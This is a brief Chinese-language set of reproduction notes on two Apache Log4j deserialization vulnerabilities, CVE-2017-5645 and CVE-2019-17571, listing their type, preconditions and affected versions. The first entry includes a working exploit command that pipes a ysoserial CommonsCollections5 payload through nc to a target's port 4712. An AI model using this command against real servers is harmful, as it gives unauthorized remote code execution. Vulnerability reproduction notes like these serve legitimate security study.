CVE-2017-5645
Date 2017 類型 Java反序列化導致遠程代碼執行
前置條件
log4j對應的端口對外開放
影響范圍
復現
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/CVE-2017-5645_is_success" | nc your-ip 4712
分析
CVE-2019-17571
Date 2019 類型 Java反序列化導致遠程代碼執行
前置條件
log4j對應的端口對外開放 影響范圍
1.2.4 <= Apache Log4j <= 1.2.17 復現 分析